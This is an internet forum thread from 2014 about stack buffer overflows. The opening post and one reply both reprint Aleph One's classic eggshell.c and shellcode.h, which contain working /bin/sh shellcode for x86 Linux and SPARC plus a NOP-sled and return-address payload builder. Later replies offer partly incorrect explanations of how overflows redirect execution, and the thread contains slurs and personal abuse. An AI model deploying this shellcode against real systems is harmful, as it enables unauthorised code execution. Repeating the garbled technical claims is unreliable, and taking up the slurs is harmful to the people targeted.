Author Topic: Smashing The Stack/Shellcode  (Read 1565 times)

0 Members and 1 Guest are viewing this topic.

Offline -SpectraL

  • Commandant
  • ****
  • Posts: 1,605
  • Sinking kidiots since 1989
    • View Profile
Smashing The Stack/Shellcode
« on: October 28, 2014, 01:52:55 pm »

example:


Code: [Select]
shellcode.h------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE        4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET                    0 #define DEFAULT_BUFFER_SIZE             512 #define DEFAULT_EGG_SIZE               2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); } ------------------------------------------------------------------------------

source: http://insecure.org/stf/smashstack.html

Offline Nasheeds and Lesbians

  • Devotee
  • **
  • !
  • Posts: 158
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #1 on: October 28, 2014, 01:58:07 pm »
How about I smash your drum kit with a reciprocating saw?

Offline NiggerTree

  • Adherent
  • *
  • !
  • Posts: 31
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #2 on: October 28, 2014, 02:01:48 pm »
Didn't read the above LINE of code because you utterly failed at formatting.

Offline -SpectraL

  • Commandant
  • ****
  • Posts: 1,605
  • Sinking kidiots since 1989
    • View Profile

Offline Jedi Moped

  • Arch Disciple
  • ***
  • !
  • Posts: 571
  • Meine Ehre heißt Treue
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #4 on: October 28, 2014, 06:12:32 pm »
ITT OP  googles/copypastas code to prove his L337 haxor skillz.

Offline Lanny

  • Zealot
  • ****
  • Posts: 1,123
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #5 on: October 29, 2014, 04:12:50 am »
Oh no, running untrusted binary could compromise my system's security! Who would have suspected such a obscure and non-obvious attack?

Offline aldra

  • Arch Disciple
  • ***
  • Posts: 623
  • albrecht drais
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #6 on: October 29, 2014, 04:26:09 am »
Oh no, running untrusted binary could compromise my system's security! Who would have suspected such a obscure and non-obvious attack?

nah, that's not the point of a buffer overflow, the source is just an example or proof of concept. it'd be nice if speccy explained it beyond a line of code and some links, but it's basically an example of how you can trick a processor into jumping into code of your choosing by overloading it's memory buffer.

buffer overflows are less relevant nowadays considering ASLR, NXbit and all the other protections against jumping into code from data are pretty standard across the board. returning to C library and other workarounds have been around since the late 90s but they're pretty goddamn difficult to pull of successfully.

Offline Lanny

  • Zealot
  • ****
  • Posts: 1,123
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #7 on: October 29, 2014, 05:09:02 am »
Hmm, I get the idea in theory but how do you get code into memory you anticipate being executed and what does the code spectral have todo with that?

I'm looking at the code and I don't understand this:

Code: [Select]
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

If I'm reading it right then this is writing the address (addr) of the top of the stack to a chunk of memory allocated above. What's the point of that? That code doesn't actually seem to get executed anywhere? The next set of fors seems to be doing something similar, writing no-ops and then "shellcode" to data memory. When does this get executed?

Offline aldra

  • Arch Disciple
  • ***
  • Posts: 623
  • albrecht drais
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #8 on: October 29, 2014, 05:27:53 am »
I don't feel like reading code right now, but the basic theory is this -

a buffer's a section of memory set aside to store data; when a program stores data in it it should make sure there's enough space in the buffer for the data and a null terminator, because if data is written beyond the end of the buffer the CPU's registers will get confused.

buffer overflows are exploitable because that confusion is predictable - when the pointer gets to the end of the buffer and hasn't found a null terminator to end the string, it will jump to the memory value of the next byte(s) until the terminator (value zero). to clarify, assume you have a buffer that's 8 characters long - if you enter 9 characters the buffer overflows, and the 9th character ends up just outside of the allowed space. the pointer (eip I think) loads that 9th character, converts it to a byte value and jumps to that location in memory. the trick is to write your code to memory beforehand, then overflow the buffer and finish with a value that points to the memory location of your code.

that seemed rather confusing to write, so consider the following:

I've written my malicious code to memory at 0x78. it's in memory, and I want to jump to it.

I find a buffer that's limited to 8 characters. I fill the buffer with 'faggotxxx'. 'faggotxx' would be fine, but 'faggotxxx' is one character too long. the processor panics at faggotxx and jumps to the value of the remaining characters, in this case the ascii value of 'x', which is dec 120 or hex 78, where our code is stored.



***how do you get the code into memory? as spectral said, use opcodes. opcodes are basically just raw machine code converted to hex... so if you want to exploit something, write it in asm, compile, then convert to hex. to store it in memory, just create a variable that holds that data, find where the variable is stored and jump to that memory address.

something that took me a while to work out at the time - in C, you can encode hex byte values as follows:

\x23\xF3\x32\x2A etc... so in his example, that's the actual payload.
« Last Edit: October 29, 2014, 05:31:52 am by aldra »

Offline Lanny

  • Zealot
  • ****
  • Posts: 1,123
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #9 on: October 29, 2014, 05:40:35 am »
I find a buffer that's limited to 8 characters. I fill the buffer with 'faggotxxx'. 'faggotxx' would be fine, but 'faggotxxx' is one character too long. the processor panics at faggotxx and jumps to the value of the remaining characters, in this case the ascii value of 'x', which is dec 120 or hex 78, where our code is stored.

The "panics" part is what I think I'm not understanding. Like does something know where the end of the buffer is? A pointer doesn't have a size tied to it so how does the processor or anyone else know this is an exception state or that it ought to panic short of segfaulting? And why would it resume execution starting at the byte following the buffer?

Offline Lanny

  • Zealot
  • ****
  • Posts: 1,123
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #10 on: October 29, 2014, 05:46:13 am »
btw here's the code in OP broken up a bit:

Code: [Select]
// shellcode.h
#if defined(__i386__) && defined(__linux__)
  #define NOP_SIZE 1
  char nop[] = "\x90";
  char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
  }
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  #define NOP_SIZE 4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
#elif defined(__sparc__) && defined(__sun__)
  #define NOP_SIZE        4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
#endif
// eggshell.c
/* * eggshell v1.0 * * Aleph One / aleph1@underground.org */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
void usage(void);
void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
     exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }
  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  addr_ptr = (long *) bof;

  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;

  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}

Offline aldra

  • Arch Disciple
  • ***
  • Posts: 623
  • albrecht drais
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #11 on: October 29, 2014, 05:47:59 am »
honestly I'm not sure about the reasoning behind it, ie. why it converts and jumps to the next memory address. you'd have to do some reading on the history of microprocessor design I'd think.

in terms of how though, it gets to the end of the buffer, then loads data until it either hits a string terminator (null value, 0x00) or fills up the memory stack allocated in the processor and jumps to the memory location represented by the data it read.

Offline -SpectraL

  • Commandant
  • ****
  • Posts: 1,605
  • Sinking kidiots since 1989
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #12 on: October 29, 2014, 10:47:07 am »

Some services and programs which run on the remote machine use ports to operate through. The ports range from 0-65535. They can be TCP-IP ports, UDP ports and other kinds of ports using other protocols. Remote ports can be scanned with a port scanner to see if they are in use. Ports can also be stealth scanned using a "half open" method. Certain ports are sometimes associated with certain services and programs. Some ports accept remote commands, including machine code. Some ports are "honeypots", meant only to confuse and/or delay the attacker. Other ports are actually active and "listening". A port can be protected by other programs running on other ports. Each program and service has exploitable features, which are usually called 0-Day exploitz, because these exploits are usually patched the same day or week or month they are revealed. Good 0-Day exploitz often come with a PoC (Proof of Concept), which is an example of the exploit.

source: http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports

http://packetstormsecurity.com/files/tags/proof_of_concept
http://packetstormsecurity.com/files/

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

eg: http://www.securityfocus.com/bid/33751/exploit


Offline Lanny

  • Zealot
  • ****
  • Posts: 1,123
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #13 on: October 29, 2014, 04:38:59 pm »

Some services and programs which run on the remote machine use ports to operate through. The ports range from 0-65535. They can be TCP-IP ports, UDP ports and other kinds of ports using other protocols. Remote ports can be scanned with a port scanner to see if they are in use. Ports can also be stealth scanned using a "half open" method. Certain ports are sometimes associated with certain services and programs. Some ports accept remote commands, including machine code. Some ports are "honeypots", meant only to confuse and/or delay the attacker. Other ports are actually active and "listening". A port can be protected by other programs running on other ports. Each program and service has exploitable features, which are usually called 0-Day exploitz, because these exploits are usually patched the same day or week or month they are revealed. Good 0-Day exploitz often come with a PoC (Proof of Concept), which is an example of the exploit.

source: http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports

http://packetstormsecurity.com/files/tags/proof_of_concept
http://packetstormsecurity.com/files/

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

eg: http://www.securityfocus.com/bid/33751/exploit

Yeah yeah, we all know what ports and 0days are. Nothing you posted explained the code in OP. So like what does the second file do? Is it just supposed to be an example of a vulnerable program? Because there's no point in doing an overflow attack in your own code, you could just change the code. Also can you shed light on why execution ever gets to `egg`? It's just dynamically allocated memory, it doesn't even get overflowed. In fact it doesn't look like anything is getting overflowed. All it seems to be doing is copying memory from the stack to the heap?

Offline -SpectraL

  • Commandant
  • ****
  • Posts: 1,605
  • Sinking kidiots since 1989
    • View Profile
Re: Smashing The Stack/Shellcode
« Reply #14 on: October 29, 2014, 09:39:57 pm »

Yeah yeah, we all know what ports and 0days are.

Then again, you don't speak for everyone who may be reading this thread. Some may not know, and that's why I posted the info.

As for your other "questions", go fuck yourself. I don't answer the questions of known PI-rats and &Totse traitors like you. The only way I'd help you is to throw you an anvil if you were drowning. Keep fagging my thread up and I'll just put you on ignore.